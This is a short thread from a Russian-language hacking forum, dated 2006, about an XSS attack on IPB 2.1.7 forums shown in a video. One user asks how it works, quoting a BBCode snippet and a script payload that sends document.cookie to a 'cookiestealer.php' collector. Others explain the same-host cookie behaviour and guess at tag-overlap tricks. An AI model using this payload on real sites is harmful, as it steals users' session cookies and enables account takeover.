xss без документ.куи?

xss без документ.куи?

04.10.2006, 07:43

~~gemaglabin~~

Banned

Регистрация: 01.08.2006

Сообщений: 725

С нами: 10408706

Репутация: 4451

xss без документ.куи?

Недавно на одном из зарубежных порталов скачал видео по демонстрации xss на ipb 2.1.7

Код темы форума хекера был такой

Код:

[урлl=http://путь к гиф файлу][имг]просто картинка][/имг]

Gif файл

Код:

<SCRIPT>location.href='http://127.0.0.1/cookiestealer.php?cookie='+escape(document.cookie)</SCRIPT>

После обращения к линку у хекеря в логах осталась его сессия.Как такое возможно,если в линке в теме топика не передается документ.куки а те куки что уже в гиф файле будут куки не с форума?

Попробовал на локалхосте,естествено,нуле вой результат

)

Кому интересно могу даю линк на видео,но в отличие от нас,у них размеры видео начиная с 30 мегов и выше

http://rapidshare.de/files/33563512/Video_4_Hacking-Truths.NeT.rar.html

Ну ведь бред да?

𝕏 Twitter Reddit Telegram Копировать ссылку

04.10.2006, 09:03

hidden

Постоянный

Регистрация: 23.04.2006

Сообщений: 622

С нами: 10552646

Репутация: 1292

Ты серьёзно или это прикол?
Если серьёзно, тогда сколькие из них повелись на это?
Ещё-бы куки не записались, стилер с форумом и картинкой на одном хосте(127.0.0.1).

04.10.2006, 13:20

~~gemaglabin~~

Banned

Регистрация: 01.08.2006

Сообщений: 725

С нами: 10408706

Репутация: 4451

hidden это был как пример дан.его кукистилер и форум были на разных хостах.

04.10.2006, 16:14

~~ZaCo~~

Banned

Регистрация: 20.06.2005

Сообщений: 880

С нами: 10994966

Репутация: 1332

2gemaglabin у куксов есть необходимое для этого поле - хост)

04.10.2006, 18:28

~~gemaglabin~~

Banned

Регистрация: 01.08.2006

Сообщений: 725

С нами: 10408706

Репутация: 4451

Я перепутал,gifка лежала на сервере с форумом.Какой тогда смысл?

closed

04.10.2006, 23:32

~~Xex~~

Banned

Регистрация: 10.07.2005

Сообщений: 224

С нами: 10966535

Репутация: 50

[урлl=http://путь к гиф файлу][имг]просто картинка][/имг]
тут тег урл не закрыт,
может на основе "перекрытия" тегов че было, а в гифке код скорее всего куда нить подключается, либо это чейто шутка...посмотри видео еще раз внимательно,
30метров качать не тема

Создать сделку

Мои сделки

Сделка

ESCROW ADMIN PANEL